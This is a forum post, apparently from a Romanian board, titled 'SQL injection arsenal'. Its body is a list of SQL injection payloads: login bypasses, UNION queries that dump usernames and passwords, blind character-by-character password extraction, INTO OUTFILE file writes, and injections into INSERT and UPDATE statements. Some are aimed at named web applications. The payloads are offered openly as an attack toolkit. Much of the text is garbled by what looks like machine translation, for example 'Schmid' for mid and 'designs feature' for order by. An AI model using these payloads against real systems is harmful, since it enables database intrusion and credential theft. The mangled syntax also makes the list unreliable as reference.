| Ad_Infinitum |
| Administrator |
 |
 |
| Data inscrierii: 23/Iun/2007 |
| Mesaje: 212 |
|
|
|
|
|
 |
|
SQL injection arsenal
'or 1=1
'or' 1=1
'/*
'%23
'and password=' mypass
Id=-1 union select 1,1,1
Id=-1 union select char (97), char (97), char (97)
Id=1 union members from select 1,1,1
Id=1 union select 1,1,1 from admin
Id=1 union select from user 1,1,1
Userid=1 and password=mypass
Userid=1 and Schmid (password,3,1) =char (112)
Userid=1 and Schmid (password,4,1) =char (97)
And ord (mid (password,3,1)), "111 (ord function useful, could return orthopaedic)
'and length (password) =' 6 (password length detection)
'and left (password,1) =' m
'and left (password,2) =' my
. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . By analogy
'union select 1,username,password from user/*
'union select 1,username,password from user/*
= 'union select 1,username,password from user/* (can be direct with one or =)
99999 'union select 1,username,password from user/*
'into outfile' c:/file.txt (derived)
= 'or 1=1 into outfile' c:/file.txt
1 'union select 1,username,password from user into outfile' c:/user.txt
Select password from admins where login= 'John' into Dumpfile '/path/to/site/file.txt'
Id= 'union select 1,username,password from user into outfile
Id=-1 union select 1,database (), version () (flexible application enquiries)
Enquiries test commonly used phrases,
Select * from table where 1=1
Select * from table where 'uuu' = 'uuu'
Select * from table where 1<>2
Select * from table where 3>2
Select * from table where 2<3
Select * from table where 1
Select * from table where 1+1
Select * from table where 1--1
Select * from table where IsNull (Null)
Select * from table where IsNull (COT (0))
Select * from table where merely one is null
Select * from table where null is null
Select * from table where two visible between 1 3
Select * from table where the 'b' between 'a' visible 'c'
Select * from table where two partners (0,1,2)
Select * from table where case when then 1 end 1>0
For example : Night Cat download system version 1.0
Id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
Union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user
Union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
Id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1
Union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1, 1 from ymdown_user where id=1 (replacement for passwords)
Union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord (mid (password,1,1)) =49 (certification first password)
Union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord (mid (password,2,1)) =50 (second)
Union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord (mid (password,3,1)) =51
.................................................. ................
For example : grey track their id tested (magnificent)
Union%20 (select%20allowsmilies,public,userid, '0000-0-0', user () version () %20FROM%20calendar_events%20where%20eventid%20=%20 13) %20order%20by%20eventdate
Union%20 (select%20allowsmilies,public,userid, '0000-0-0' pass () version () %20FROM%20calendar_events%20where%20eventid%20=%20 10) %20order%20by%20eventdate
Construction expressions :
Select allowsmilies,public,userid,eventdate,event,subject from calendar_events where eventid = 1 union (select 1,1,1,1,1, 1 from user where userid=1)
Select allowsmilies,public,userid,eventdate,event,subject from calendar_events where eventid = 1 union (select 1,1,1,1. username,password from user where userid=1)
Union%20 (select%201,0,2, '1999-01-01', 'a', password%20FROM%20user%20where%20userid%20=%205) %20order%20by%20eventdate
Union%20 (select%201,0,12695, '1999-01-01', 'a', password%20FROM%20user%20where%20userid=13465) %20order%20by%20eventdate
Union%20 (select%201,0,12695, '1999-01-01', 'a', userid%20FROM%20user%20where%20username= 'sandflee') %20order%20by%20eventdate (Zha sand the id)
(select a from table_name where a=10 sent B=1 designs feature a limit 10)
Select * from article where articleid= '$id' union select * from. . . . . . (1,089 database and the same circumstances, can be directly submitted)
Select * from article where articleid= '$id' union select 1,1,1,1,1,1,1 from. . . . . . (different circumstances)
Special skills : in schedule ... and the search engines, and other places to write :
"___"
". __ "
"%
% 'designs feature articleid/*
% 'designs feature articleid#
__ 'designs feature articleid/*
__ 'designs feature articleid#
$command = "ed. c:";system ($command);
Select * from article where articleid= '$id'
Select * from article where articleid=$id
1 'and 1=2 union select * from user where userid=1/* sentence into
(select * from article where articleid= 'one' and 1=2 union select * from user where userid=1/* ')
1 and 1=2 union select * from user where userid=1
Expression forms : a database, insert :
Create database `injection`
Create table `user` (
`userid` 103-116 (11) merely null auto_increment,
`username` varchar (20) merely null default ''
`password` varchar (20) merely null default ''
Sha key (`userid`)
);
Insert into `user` values (1, 'swap', 'mypass');
Inserted as a registered user :
Insert into `user` (userid, username, password, Press, userlevel) values ( '', '$username' '$password' '$homepage', 'one');
"insert into membres (login,password,nom,email,userlevel) values ( '$login' '$pass'' $nom '' $email ',' one ')";
Insert into membres (login,password,nom,email,userlevel) values ( '', '', '', '', '3') # ',' one ')
"insert into membres set login= '$login' password= '$pass' nom=' $nom 'email=' $email '";
Insert into membres set login= '' password= '' nom= '' userlevel= 'three' email= ''
"insert into membres values ( '$id' '$login' '$pass'' $nom '' $email ',' one ')";
Update user set password= '$password' homepage= '$homepage' where id= '$id'
Update user set password= 'MD5 (mypass)' where username= 'admin' #), 'homepage=' $homepage 'where id=' $id '
"update membres set password= '$pass' nom=' $nom 'email=' $email 'where id=' $id '";
Update membres set password= '[PASS]' nom= '' userlevel= 'three' email= '' where id= '[ID]'
"update news set Votes=Votes+1, score=score+$note where idnews= '$id'";
Long used function :
Database ()
User ()
SYSTEM_USER ()
SESSION_USER ()
CURRENT_USER ()
For example :
Update article set title=$title where articleid=1 corresponding function
Update article set title=DATABASE () where id=1
# update to the current database of 1,089 title
Update article set title=USER () where id=1
# update the current MySQL user name to title 1,089
Update article set title=SYSTEM_USER () where id=1
# update the current MySQL user name to title 1,089
Update article set title=SESSION_USER () where id=1
# update the current MySQL user name to title 1,089
Update article set title=CURRENT_USER () where id=1
# certification by matching the current users of oral update to the title field
$req = "select * from membres where name like '%$search%' designs feature name";
Select * from membres where name like '%%' designs feature uid#% 'designs feature name
Select * from membres where name like '%%' designs feature uid#% 'designs feature name
Select uid from admins where login= '' = 'a' = 'a' visible password= '' = 'a' = 'a' (classical)
Select uid from admins where login= '' or admin_level=1# 'visible password=' '
Select * from table where msg like '%hop'
Select uid from membres where login= 'Bob' Another password like 'a%' # 'visible password=' '
Select * from membres where name like '%%' designs feature uid#% 'designs feature name |
|
